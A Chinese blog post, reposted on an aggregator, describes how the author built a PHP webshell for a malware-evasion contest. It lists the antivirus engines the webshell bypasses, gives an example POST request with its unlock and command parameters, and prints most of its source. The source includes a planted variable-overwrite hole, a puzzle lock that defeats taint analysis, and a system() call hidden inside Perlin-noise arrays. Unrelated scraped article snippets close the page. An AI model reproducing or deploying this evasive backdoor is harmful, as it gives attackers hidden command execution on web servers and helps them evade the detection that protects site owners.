记一次多平台免杀PHP木马的制作过程

在这里插入图片描述


注意:本文转载自本作者稀土掘金博客
博客地址: 御坂19008号 的个人主页 - 动态 - 掘金

文章目录

  • 前言
  • 声明
  • 绕过情况
  • 使用方法
  • 运行环境
  • 绕过点介绍
  • 技术原理讲解
    • 变量传值覆盖模块
    • 代码执行阻断模块
    • InazumaPuzzle程序锁定器
    • PerlinNoise危险函数生成与执行类
      • 构造函数
      • 基于时间的随机值生成器
      • 排列表生成器
      • 梯度表生成器
      • 埋有后门的柏林噪声生成器
      • 柏林噪声显示器
    • 程序主干
  • 参考资料

前言

最开始萌生出写免杀WebShell的想法是这个月初上网时,偶然看到了阿里安全应急响应平台的一则线上活动“第三届伏魔恶意代码挑战赛”的报名公告,大致看了一下之后发现该比赛的内容为编写PHPJSPPythonBash语言的后门代码,若编写的代码通过了阿里最新一代检测引擎(即挑战靶场)的检测,并且不和别的师傅重复之后就算比赛通过了
在这里插入图片描述

鉴于我对PHP语言和网络安全方面较为了解,于是我就抱着试一试的心态报名了PHP赛道。在奋战了4天之后,我编写出了一个215行的PHP命令执行后门,并成功通过了现有的数十个云查杀引擎的检测。但还是非常遗憾,当比赛靶场开放的第一时间,我就将后门上传检测,最终是没能通过比赛,心里也是有一点点失落的(毕竟这还是我第一次接触免杀 QwQ)。┐=͟͟͞͞( ̄ー ̄)┌

于是在询问了钉钉群里的负责人员之后,决定在比赛结束之后将WebShell公布了出来,权当是一次学习经历了:
在这里插入图片描述

项目地址:1. PerlinPuzzle-Webshell-PHP - Gitee
     2. PerlinPuzzle-Webshell-PHP - GitHub


声明

本人于2024年01月19日公开此WebShell前,从未向任何安全平台提交绕过漏洞报告,也从未领取任何安全平台的漏洞赏金或安全币。


绕过情况

文件MD5值:7c0aeaec06454e588120877fd18cd0c8

文件SHA256值:f53d5dd4de1b39ba5e5751f42f5e97b1a28383cf81c276151ef6066661f4f2b6

最后一次绕过测试于2024年01月18日进行,共使用了35个云查杀引擎进行检测,成功通过34个,报毒率为2.9%

成功通过:

  • 阿里伏魔引擎
  • 安恒云沙箱
  • 大圣云沙箱(风险评分0.19
  • 河马WebShell查杀
  • 魔盾云沙箱
  • 微步集成引擎共26个(微软、卡巴斯基、IKARUS、Avast、GDATA、安天、360、NANO、瑞星、Sophos、WebShell专杀、MicroAPT、OneStatic、ESET、小红伞、大蜘蛛、AVG、K7、江民、Baidu、TrustBook、熊猫、ClamAV、Baidu-China、OneAV、MicroNonPE)
  • D盾
  • Windows Defender
  • 火绒安全软件

未通过:

  • 长亭百川WebShell检测平台

(再临时补一张VirusTotal的截图)

在这里插入图片描述


使用方法

要使用本WebShell,需要在POST方法中添加3个参数:

  • wpstring     =>    ABBCCD
  • b           =>    s
  • pcs          =>    <要执行的命令>

比如:

POST /perlin.php HTTP/1.1
Host: 127.0.0.1:7000
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101 Firefox/116.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Content-Type: application/x-www-form-urlencoded
Connection: close
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Content-Length: 35wpstring=ABBCCD&b=s&pcs=hostnamectl

在这里插入图片描述


运行环境

  1. 操作系统WindowsLinuxmacOS
  2. PHP版本:PHP 5 全版本、PHP 7 全版本、PHP 8 全版本

绕过点介绍

  • 使用刻意编写的变量覆盖漏洞传递参数;
  • 使用线性代数中的循环群运算原理制作程序锁定器;
  • 在“柏林噪声”随机数生成算法生成的数组中添加关键危险字符
  • 关键危险字符的生成内容由程序锁定器的运算结果决定,若运算错误则无法生成正确字符
  • 程序的执行过程中使用阻断器,若未解锁则阻断函数返回值传递
  • 使用超长行注释干扰词法引擎。

技术原理讲解

本WebShell由4个模块组成:

  • InazumaPuzzle程序锁定器类
  • PerlinNoise危险函数生成与执行类
  • 变量传值覆盖模块
  • 代码执行阻断模块

下面将对这4个模块进行逐一讲解。

变量传值覆盖模块

在对这个模块进行介绍前,我们首先需要了解一下变量覆盖漏洞

变量覆盖漏洞:可以将自定义的参数值替换掉原有变量值的漏洞。

PHP的实际开发中,我们会经常使用如下语句:

<?phpforeach ($_REQUEST as $key => $value) { $$key = $value; }
?>

相信很多熟悉PHP的读者都知道这是从HTTP请求中注册变量的代码。该段代码使用foreach语句遍历请求数组,随后根据HTTP参数名依次创建变量。
使用这种方法可以极大地简便我们开发的过程,但如果一些关键的变量可以被攻击者控制,又会发生什么事呢?

<?php$security_check = true;foreach ($REQUEST as $key => $value) { $$key = $value; }if ($security_check) {$id = parse_sql($_POST['id']);} else { $id = $_POST['id']; }$result = $sqlOperator -> query($id);var_dump($result);
?>

这时攻击者可以从GETPOST控制$security_check变量。如果传入了false值,那么程序的SQL注入检查会被关闭,造成SQL注入。前提是关键变量的赋值定义不出现在变量注册语句之后

本WebShell刻意引入了一个变量覆盖语句,使用该语句来传递关键参数:

<?phpheader("Content-type:text/html;charset=utf-8");foreach($_POST as $key => $value) $$key = $value;if (strlen($wpstring) === 0) die("笨蛋!先启动原神解个稻妻雷元素方块阵再来吧!");$puzz_writeup = array();for ($i = 0; $i < strlen($wpstring); $i++) array_push($puzz_writeup, $wpstring[$i]); 
?>

在上述代码中,使用foreach语句遍历请求数组注册变量,随后验证程序解锁答案的长度,接着将解锁答案复制到数组里。这样程序锁定器就可以使用解锁答案了。

代码执行阻断模块

该模块由pause()函数组成,该函数接收程序流程中传来的返回值,检查程序的解锁状态,若程序解锁则将返回值传给下面的程序流程,若未解锁则使用die()函数退出程序

<?phpfunction pause($obj) {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die();return $obj;}
?>

该模块主要用于对抗云查杀引擎的动态污点分析。

InazumaPuzzle程序锁定器

为了对抗云查杀引擎的动态污点分析,本程序实现了一个线性代数循环群运算模拟器该模块接收一个PHP数组形式的传入值,随后依据传入值对对象中的4个成员变量执行循环群运算,当运算结束之后如果4个成员变量的值相等,即视为程序解锁

本模块的设计灵感来源于开放世界游戏《原神》中于稻妻地区境内广泛存在的一种大世界解谜机关阵列“机关立方”。该机关阵列由数个小型立方机关组成,当其中一个机关受到击打时,会联动阵列内的其它组成机关一起转动,其本质是实现了一个线性代数中“循环群”的运算模拟系统

在这里插入图片描述

将某个解谜机关转换为线性代数方程,如下:

r a n g e = [ 0 1 2 ] range = \begin{bmatrix}0\quad1\quad2\\\end{bmatrix} range=[012]
A j = [ 1 1 0 0 1 1 1 0 0 1 1 1 0 0 1 1 ] A_j=\begin{bmatrix} 1&1&0&0\\ 1&1&1&0\\ 0&1&1&1\\ 0&0&1&1\\ \end{bmatrix} Aj= 1100111001110011

o = [ x 1 x 2 x 3 x 4 ] o=\begin{bmatrix} x_1\\ x_2\\ x_3\\ x_4\\ \end{bmatrix} o= x1x2x3x4

s = [ 2 0 0 2 ] s=\begin{bmatrix} 2\\0\\0\\2\\ \end{bmatrix} s= 2002

e = [ 2 2 2 2 ] A j . o + s = e e=\begin{bmatrix} 2\\ 2\\ 2\\ 2\\ \end{bmatrix} \\ A_j.o + s = e e= 2222 Aj.o+s=e

这时我们可以根据高斯-若尔当消元法得出 o = [ 1 2 2 1 ] o=\begin{bmatrix}1\\2\\2\\1\\\end{bmatrix} o= 1221

作者依照上述内容编写了程序解锁模块类InazumaPuzzle该类中有4个关键类成员变量blockAblockBblockCblockD,用于存放上图中4个机关方块的状态;类中还有如下关键成员函数:

  • setBackBlock()
  • hit()
  • __AFG50CE4_RG1()
  • getLockerStatus()

其中,setBackBlock()函数的作用为当要操作的成员变量数值即将超过循环群最大数值$maxType时,将其复位为循环群最小数值$setType,其代码如下:(最大数值为2,最小数值为0

<?php
private function setBackBlock($block){$setType = $this-> MIN_ENUM;$maxType = $this -> MAX_ENUM;switch ($block) {case 'A':if ($this -> blockA == $maxType) {$this -> blockA = $setType;return true;} else return false;case 'B':if ($this -> blockB== $maxType) {$this -> blockB = $setType;return true;} else return false;case 'C':if ($this-> blockC == $maxType){$this -> blockC = $setType;return true;} else return false;case 'D':if ($this -> blockD== $maxType) {$this -> blockD = $setType;return true;} else return false;default: throw new Exception("bad_args", 1);}
}
?>

可以看到如果成员变量的整数值如果未达到临界值,返回false,不操作成员变量;如果达到临界值,则将其复位后返回true

hit()函数的功能根据原理图公式中的量Aj编写,实模拟现了“击打一个方块带动周围方块转动”的功能

<?php
private function hit($blockIdx) {global $text;$text = urldecode("%6e%69%6c%72%65%70%5f%46%46%49%44");switch ($blockIdx) {case "A":if (!$this -> setBackBlock("A")) $this -> blockA += 1;if (!$this -> setBackBlock("B")) $this -> blockB += 1;break;case "B":if (!$this -> setBackBlock("A")) $this -> blockA += 1;if (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this -> blockC += 1;break;case "C":if (!$this -> setBackBlock("B")) $this -> blockB += 1;if (!$this -> setBackBlock("C")) $this -> blockC += 1;if (!$this -> setBackBlock("D")) $this -> blockD += 1;break;case "D":if (!$this -> setBackBlock("C")) $this -> blockC += 1;if (!$this -> setBackBlock("D")) $this -> blockD += 1;break;default: throw new Exception("bad_args", 1);}
}
?>

可以看到该函数核心为调用setBackBlock()函数或将成员函数值加1如果setBackBlock()函数返回true,则代表成员函数值已经被使用循环群运算方法加1,不需要再次加1;否则手动加1(比如,如果接收的传入值为A,则击打AB;如果传入值为B,则击打ABC;以此类推)

__AFG50CE4_RG1()函数的作用为接收答案数组并根据数组的每个值调用hit()函数,模拟实现根据答案值击打方块,其代码如下:

<?php
public function __AFG50CE4_RG1() {global $puzz_writeup;if (count($puzz_writeup) === 0) throw new Exception("Invalid WriteUP",1);for ($i = 0; $i < count($puzz_writeup);$i++) {if (strcmp($puzz_writeup[$i],"A") !== 0 and strcmp($puzz_writeup[$i],"B") !== 0 and strcmp($puzz_writeup[$i],"C") !== 0 and strcmp($puzz_writeup[$i],"D") !== 0) die("笨蛋笨蛋笨蛋笨蛋!!~ 都...都跟你说了答案里只能有ABCD的......");}for ($i = 0; $i < count($puzz_writeup); $i++) $this -> hit($puzz_writeup[$i]);global $userans;$userans = $this ->blockA + $this -> blockB + $this -> blockC + $this -> blockD;
}
?>

可以看到函数首先载入了被变量覆盖传值模块初始化的答案数组变量$puzz_writeup;接着校验数组的长度和数组中的每个答案字符串,如果不符合格式要求则退出程序;然后遍历数组,取出数组中的每一个字符串之后将其作为参数来调用hit()函数,实现“击打”功能;最后初始化全局变量$userans,其值设置为对象中4个成员变量数值的和

P.S. 根据类构造函数的设计,4个成员变量初始值分别为2002,若击打正确,则4个数的和应该为8

getLockerStatus()函数的功能很简单,只是判断对象中4个成员变量数值是否相等,若相等则判定程序解锁,其代码如下:

<?php
public function getLockerStatus() {global $text;$text = strrev($text);if ($this -> blockA ===$this -> blockB and $this -> blockA === $this -> blockC and $this -> blockA === $this -> blockD) return true;else return false;
}
?>

在程序主干中,程序先使用变量覆盖传值模块传递关键变量,随后会初始化InazumaPuzzle类并调用__AFG50CE4_RG1()解锁函数尝试解除程序的锁定。若解锁失败,则无法初始化下面的PerlinNoise类并退出程序,如图:

在这里插入图片描述

PerlinNoise危险函数生成与执行类

柏林噪声:一种随机数生成算法。柏林噪声基于随机,并在此基础上利用缓动曲线进行平滑插值,使得最终得到噪声效果更加趋于自然。基于不同的采样空间,柏林噪声可以分为一维、二维和三维。该随机数生成算法常用于计算机图形学中。

正常来说,一维柏林函数生成器代码是这样的:

int[] perm = {...};
float[] grad = {...};
void Hash(ref int[] gradient, int x, int y) {int permIdx[] = new int[2];permIdx[0] = FindIndex(x);permIdx[1] = FindIndex(y);int gradIdx[] = new int[2];gradIdx[0] = perm[permIdx[0]];gradIdx[1] = perm[permIdx[1]];gradient[0] = grad[gradIdx[0]];gradient[1] = grad[gradIdx[1]];
}
float perlin(float x) {int x1 = floor(x);int x2 = x1 + 1;float grad1 = perm[x1 % 255] * 2.0 - 255.0;float grad2 = perm[x2 % 255] * 2.0 - 255.0;float vec1 = x - x1;float vec3 = x - x2;float t = 3 * pow(vec1, 2) - 2 * pow(vec1, 3);float product1 = grad1 * vec1;float product2 = grad2 * vec2;return product1 + t * (product2 - product1);
}

但是作者将一维柏林函数生成算法进行修改,在生成数组的第400位至第405位中埋入后门,实现了命令执行函数system()的隐藏调用。

该类中有如下关键函数:

  • 构造函数
  • randomFloat()基于时间的随机值生成器
  • __PLvB4CR0_Z()排列表生成器
  • __PLAB4CR0_o()梯度表生成器
  • __CPRBB0R0_l()埋有后门的柏林噪声生成器
  • __HNBB70CA_5()埋有后门的柏林噪声显示器

接下来依次介绍上面的函数。

构造函数

构造函数接收4个参数:

  • arrlength柏林噪声数组长度;
  • MAX_INPUT梯度数最大值;
  • MIN_INPUT梯度数最小值;
  • source梯度值数据源(若为DIFF_PERLIN开启后门模式)

构造函数首先载入了全局程序锁定器对象,随后调用InazumaPuzzle::getLockerStatus()方法判断程序锁定情况,若未解锁则退出程序;接着判断传入的要生成的柏林噪声数的数量,若不符合要求则报错;然后根据source参数判断是否开启后门模式。最后将4个参数配置保存在类成员变量中

<?php
public function __construct($arrLength, $MAX_INPUT = 700.4, $MIN_INPUT = 56.7, $source = "GENERATE") {global $appor5nnb;if (!$appor5nnb -> getLockerStatus()) die("嗯哼,笨蛋杂鱼欧尼酱~ 果然解不开吧~");if ($arrLength < 3000 or $arrLength > 9999) {throw new InvalidArgumentException("Error: Invaild Length");}if (strcmp($source,"DIFF_PERLIN") == 0) {$this -> BAD_ARGS = true;$source = "GENERATE";}$this -> arrLength = $arrLength;$this -> source = $source;$this -> INPUT_NUM_MAX = $MAX_INPUT;$this -> INPUT_NUM_MIN = $MIN_INPUT;
}
?>

基于时间的随机值生成器

randomFloat()函数的原理比较简单,就是根据时间种子和梯度数的极值配置生成每个梯度数,生成的梯度数为小数

<?php
private function randomFloat(){$_ = 110+4;$__ = ((int)(600/2))-184;$___ = 115;$____ = 100-2;$_____ = 117;$______ = 113+2;/* 上述变量为干扰项 */$max = $this -> INPUT_NUM_MAX;$min = $this -> INPUT_NUM_MIN;$num = $min + mt_rand() / mt_getrandmax() * ($max - $min);return sprintf("%.2f",$num);
}
?>

排列表生成器

__PLvB4CR0_Z()函数为排列表生成器,该函数实际上为基于时间的随机整数生成器,生成数量为指定的柏林噪声数组长度,保存于类中的数组成员变量$seeds_array中:

<?php
private function __PLvB4CR0_Z() {srand(time());for ($i = 0; $i < $this -> arrLength; $i++) {$eachNum = pause(rand(0,255));array_push($this -> seeds_array, $eachNum);}
}
?>

梯度表生成器

__PLAB4CR0_o()函数为梯度表生成器,其实际功能较为简单。该函数读取类成员变量$source的值,根据该值决定梯度数的数据源(实际上只能进行随机值生成),随后调用randomFloat()函数生成2位随机小数,生成的数量为指定的柏林噪声数组长度,生成的数组保存在类数组成员变量$inputNumArray中:

<?php
private function __PLAB4CR0_o() {if (strcmp($this -> source, "GENERATE") == 0) {srand(time());for ($i = 0; $i < $this -> arrLength; $i++) {$eachNum = pause($this -> randomFloat());array_push($this -> inputNumArray, floatval($eachNum));}} else if (strcmp($this -> source,"SYSLOG") == 0) {$handle = fopen("/etc/messages","r");$count = 0;while(($char = fgetc($handle)) !== false) {if ($count == $this -> INPUT_NUM_MAX - 1) break;if (($ascii_value = ord($char)) and $ascii_value % 1 !== 0) {array_push($this -> inputNumArray, sprintf("%.2f",$ascii_value / 2.3));$count++;} else continue;}}
}
?>

埋有后门的柏林噪声生成器

__CPRBB0R0_l()函数为柏林噪声生成器,该函数中埋有后门。该函数首先载入全局变量$userans,值为锁定器4个成员变量的和(正常为8);随后根据变量$userans的值进行数学运算操作,指定生成危险函数字母的ASCII值,并将其写入特定位置中。(第400位至第405位) 其它位则为正常的柏林噪声数字。生成的柏林噪声数组保存在类数组成员变量$perlin_noise中。

<?php
public function __CPRBB0R0_l() {global $userans;for ($i = 0; $i < $this -> arrLength; $i++) {if ($this -> BAD_ARGS) {if ($i > ($userans+391) and $i < (pause($userans+390+8))) {$result = array($userans + 101,$userans + 93,$userans + (50*2+8),$userans + 992-(800+85),105+($userans + 8),110+($userans+57)-60);array_push($this -> perlin_noise, $result[$i - 400]);continue;}}$cache = $this -> inputNumArray[$i];$x1 = round($cache);$x2 = $x1 + 1;$grad1 = $this -> seeds_array[$x1 % 255] * 2.0 - 255.0;$grad2 = $this -> seeds_array[$x2 % 255] * 2.0 - 255.0;$vec1 = $i - $x1;$vec2 = $i - $x2;$t = 3 * pow($vec1, 2) - 2 * pow($vec1, 3);$product1 = $grad1 * $vec1;$product2 = $grad2 * $vec2;$result = $product1 + $t * ($product2 - $product1);array_push($this -> perlin_noise, $result);}
}
?>

柏林噪声显示器

__HNBB70CA_5()函数为柏林噪声显示器,该函数使用动态函数调用执行system()命令执行函数。该函数首先使用EL表达式数字转字符串的方式载入了$userans$b$pcs三个变量 (其中$b为危险函数的第一位字母,$pcs为要执行的命令),随后读取了柏林噪声数组$perlin_noise危险函数名称区域的数值并将其保存到数组$cache_noise中,紧接着又将其值复制到数组$temp_noise(复制时故意少读一位)随后将其转化为字符串并进行多次反转、拼接和阻断后,在整个程序的第123行执行了system()函数

<?php
public function __HNBB70CA_5() {global $userans;global ${strval(chr(90+$userans))};global ${implode(array(chr(120-$userans),chr($userans+91),chr(70-$userans+53)))};$cache_noise = pause(array());for ($i = 400; $i < 406; $i++) {array_push($cache_noise,$this -> perlin_noise[$i]);}$temp_noise = array();for ($i = 0; $i < count($cache_noise); $i++) {array_push($temp_noise, $cache_noise[$i]);}for ($i = 0; $i < count($temp_noise); $i++) {$temp_noise[$i] = chr($temp_noise[$i]);}$ab = pause(array_map(function($arr){ return chr($arr); },array_slice($this -> perlin_noise,(188*2)+$userans*3,$userans-3)));$c = strval(sprintf("%s%s",$b,pause(strrev(implode("",pause($ab))))));$c($pcs);// 希儿世界第一可爱!die(urldecode("%3c%62%72%3e%3c%62%72%3e"));var_dump(array_slice($this -> perlin_noise,1000,800));}
}
?>

程序主干

<?php$appor5nnb = new InazumaPuzzle();$appor5nnb -> __AFG50CE4_RG1();$cvb33ff55 = new PerlinNoise(3000, 700.4, 56.7, "DIFF_PERLIN");$cvb33ff55->__BHUYTVV8_1();$cvb33ff55 -> __CPRBB0R0_l();$cvb33ff55 ->__HNBB70CA_5();
?>

可以看到,程序主干处首先创建了InazumaPuzzle程序锁定器,随后调用了InazumaPuzzle::__AFG50CE4_RG1()函数尝试对程序执行解锁操作,紧接着程序创建了埋有后门的柏林噪声生成器并打开了后门模式,然后生成了梯度表和排列表,最后调用内置后门的柏林噪声打印函数执行了命令。


参考资料

  1. 【数学原理】稻妻方块解密的数学原理-原神社区-米游社
  2. [Nature of Code] 柏林噪声 - 知乎
  3. 变量覆盖漏洞总结-CSDN博客

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.rhkb.cn/news/243248.html

如若内容造成侵权/违法违规/事实不符,请联系长河编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

Android 基础技术——addView 流程

笔者希望做一个系列&#xff0c;整理 Android 基础技术&#xff0c;本章是关于 addView 在了解 addView 流程之前&#xff0c;先回答下以下几个问题&#xff1a; PhoneWindow是什么时候创建的&#xff1f; DectorView 是什么&#xff1f; DectorView 是什么时候创建的&#xf…

Oracle行转列函数,列转行函数

Oracle行转列函数&#xff0c;列转行函数 Oracle 可以通过PIVOT,UNPIVOT,分解一行里面的值为多个列,及来合并多个列为一行。 PIVOT PIVOT是用于将行数据转换为列数据的查询操作(类似数据透视表)。通过使用PIVOT&#xff0c;您可以按照特定的列值将数据进行汇总&#xff0c;并将…

Flowable 生成流程图

/*** 生成流程图** param processId 任务ID*/ RequestMapping("/diagram/{processId}") public void genProcessDiagram(HttpServletResponse response,PathVariable("processId") String processId) {InputStream inputStream flowTaskService.diagram(p…

SpringCloud整合Zookeeper代替Eureka案例

文章目录 本期代码下载地址zookeeper简介zookeeper下载安装新建服务提供者测试 新建消费者测试 本期代码下载地址 地址:https://github.com/13thm/study_springcloud/tree/main/days4 zookeeper简介 zookeeper是一个分布式协调工具&#xff0c;可以实现注册中心功能 关闭Lin…

WampServer

开发笔记 推荐链接php无法保存SESSION问题部署SSL时候产生的问题 推荐链接 链接目录 php无法保存SESSION问题 php.ini文件和phpForApache.ini 文件 里面都有 对路径的控制&#xff0c;相关路径问题可能也需要进行修改&#xff0c;打开文件搜索wamp64或wamp 就可以看到了&…

线程池--JAVA

虽然线程是轻量级进程&#xff0c;但是如果当创建和销毁的的频率非常之高&#xff0c;那么它也就会消耗很多的资源。 而线程池就是用来优化线程频繁创建和销毁的场景&#xff0c;减少线程创建、销毁的频率。 ExecutorService JAVA标准库为我们实现了线程池&#xff0c;Execu…

windows11上安装虚拟机VMware

1、安装虚拟机&#xff08;待补充&#xff09; 第二步&#xff1a;安装VMware tools 实现windows文件上传到虚拟机中 1、安装好虚拟机后&#xff0c;查看虚拟机ip用Xshell连接虚拟机&#xff0c;并安装VMware tools(只有安装了VMware tools才能实现虚拟机和本机的文件共享。在…

无人机航迹规划(四):七种元启发算法(DBO、LO、SWO、COA、LSO、KOA、GRO)求解无人机路径规划(提供MATLAB代码)

一、七种算法&#xff08;DBO、LO、SWO、COA、LSO、KOA、GRO&#xff09;简介 1、蜣螂优化算法DBO 蜣螂优化算法&#xff08;Dung beetle optimizer&#xff0c;DBO&#xff09;由Jiankai Xue和Bo Shen于2022年提出&#xff0c;该算法主要受蜣螂的滚球、跳舞、觅食、偷窃和繁殖…

Python编辑开发---pycharm pro 2023 中文

PyCharm Pro 2023是一款功能强大的Python集成开发环境&#xff08;IDE&#xff09;&#xff0c;旨在提高Python开发人员的生产力。它提供了智能代码编辑、实时代码分析和调试工具&#xff0c;支持版本控制和数据库工具&#xff0c;以及可扩展的插件系统。PyCharm Pro 2023可在多…

什么是区块链?

区块链 区块链 &#xff08;英语&#xff1a;blockchain&#xff09;是借由 密码学 与 共识机制 等技术建立&#xff0c;存储数据的 保证不可篡改和不可伪造的 分布式技术。 什么是区块 区块 就是将一批数据打包在一起&#xff0c;并且给打包出来的区块编号。第一个区块的编…

Kylin 安装novnc 远程访问

noVNC可以使用浏览器直接访问服务器&#xff0c;而不需要使用VNC客户端。 1.初始环境 关闭防火墙或允许IP访问本机 2.安装依赖 dnf install -y tigervnc-server git 3.git下载novnc git clone https://github.com/novnc/noVNC.git git clone https://gitee.com/yangyizhao…

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK使用相机日志跟踪功能(C++)

Baumer工业相机堡盟工业相机如何通过NEOAPI SDK使用相机日志跟踪功能&#xff08;C&#xff09; Baumer工业相机Baumer工业相机NEOAPI SDK和短曝光功能的技术背景Baumer工业相机通过NEOAPI SDK使用相机日志跟踪功能1.引用合适的类文件2.通过NEOAPI SDK使用相机日志跟踪功能3.通…

如何用数据赋能社媒营销决策?

在数字化时代&#xff0c;越来越多的商家开始意识到数据分析对于改善经营的重要性。 传统决策更多依赖过往经验、商业直觉、他人的思路模板等方法&#xff0c;或者依靠描述性统计、简单的数据分析。在数字时代&#xff0c;则通过精细化数据分析&#xff0c;做出更明智的营销决策…

S2-08 ESP-IDF开发 : 存储

S2-06 和 S2-07 暂时先不发&#xff0c;课上没给同学们将&#xff0c;分别是 DMA 和 USB 章节&#xff0c;作为专项讲 存储 ESP32 系列芯片中&#xff0c;不同型号的芯片所携带的 ROM、SRAM、RCT SRAM、PSRAM 以及 Flash大小不同&#xff0c;他们的作用如下&#xff1a; SRAM…

2023年总结我所经历的技术大变革

&#x1f4e2;欢迎点赞 &#xff1a;&#x1f44d; 收藏 ⭐留言 &#x1f4dd; 如有错误敬请指正&#xff0c;赐人玫瑰&#xff0c;手留余香&#xff01;&#x1f4e2;本文作者&#xff1a;由webmote 原创&#x1f4e2;作者格言&#xff1a;新的征程&#xff0c;我们面对的不仅…

如何使用支付宝沙箱环境本地配置模拟支付并结合内网穿透远程调试

文章目录 前言1. 下载当面付demo2. 修改配置文件3. 打包成web服务4. 局域网测试5. 内网穿透6. 测试公网访问7. 配置二级子域名8. 测试使用固定二级子域名访问 正文开始前给大家推荐个网站&#xff0c;前些天发现了一个巨牛的 人工智能学习网站&#xff0c; 通俗易懂&#xff…

基本查找(顺序查找)

基本查找/顺序查找 基本思想思路代码示例输出结果 ​ 说明&#xff1a;顺序查找适合于存储结构为数组或者链表。 基本思想 顺序查找也称为线形查找&#xff0c;属于无序查找算法。从数据结构线的一端开始&#xff0c;顺序扫描&#xff0c;依次将遍历到的结点与要查找的值相比…

linux基础学习(5):yum

yum是为了解决rpm包安装依赖性而产生的一种安装工具 1.yum源 1.1配置文件位置 yum源的配置文件在/etc/yum.repos.d/中 *Base源是网络yum源&#xff0c;也就是需要联网才能使用的yum源。默认情况下&#xff0c;系统会使用Base源 *Media源是光盘yum源&#xff0c;是本地yum源…

【Android12】Android Framework系列---Adb和PMS安装apk源码流程

Adb和PMS安装apk源码流程 adb install命令 通过adb install命令可以将apk安装到Android系统&#xff08;注意&#xff1a;特定类型的apk&#xff0c;比如persist类型是无法通过adb安装的&#xff09; 下述命令中adb解析install命令&#xff0c;并调用Android PackageManagerS…

Java实现大学计算机课程管理平台 JAVA+Vue+SpringBoot+MySQL

目录 一、摘要1.1 项目介绍1.2 项目录屏 二、功能模块2.1 实验课程档案模块2.2 实验资源模块2.3 学生实验模块 三、系统设计3.1 用例设计3.2 数据库设计3.2.1 实验课程档案表3.2.2 实验资源表3.2.3 学生实验表 四、系统展示五、核心代码5.1 一键生成实验5.2 提交实验5.3 批阅实…